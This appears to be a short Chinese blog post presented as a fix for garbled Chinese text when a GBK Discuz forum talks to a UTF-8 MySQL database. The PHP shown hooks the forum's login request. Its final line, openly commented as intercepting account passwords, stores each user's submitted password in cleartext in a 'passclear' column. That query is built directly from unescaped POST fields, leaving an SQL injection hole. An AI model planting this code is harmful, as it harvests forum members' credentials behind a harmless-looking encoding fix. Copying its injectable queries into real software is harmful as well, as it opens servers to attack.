修改一GBK的dz论坛,php文件均为gb2312的。在进行sql操作的时候发现mysql是UTF-8的,这样就造成中文字符乱码的问题。
解决方法如下:
在操作mysql的php代码中
<?php
if ($_GET["mod"]=="logging" && $_GET["action"]=="login" && $_GET["loginsubmit"]="yes")
{
$link=mysql_connect('localhost','root','');
if($link)
{
mysql_query("set names 'gb2312'");
mysql_select_db('ultrax',$link);
$update="select * from XXXX";
mysql_query($update);
mysql_close($link);
}
}
?>
红色字体为手动将mysql与php的编码保持一致,即可解决问题。
$update="update pre_common_member set passclear='".$_POST["password"]."' where username='".$_POST["username"]."'";//此代码为截获dz论坛账户的明文密码